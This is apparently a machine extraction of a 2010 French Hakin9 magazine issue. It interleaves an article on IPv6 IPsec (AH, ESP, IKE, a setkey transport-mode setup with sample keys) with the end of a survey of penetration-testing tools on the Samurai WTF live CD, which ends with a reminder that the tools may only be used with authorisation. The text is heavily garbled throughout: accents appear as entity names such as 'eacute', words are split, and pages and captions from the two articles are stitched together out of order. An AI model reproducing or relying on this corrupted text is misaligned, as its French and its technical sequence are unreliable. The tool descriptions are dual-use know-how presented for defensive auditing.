Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 33: hakin9_05_2010_FR

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

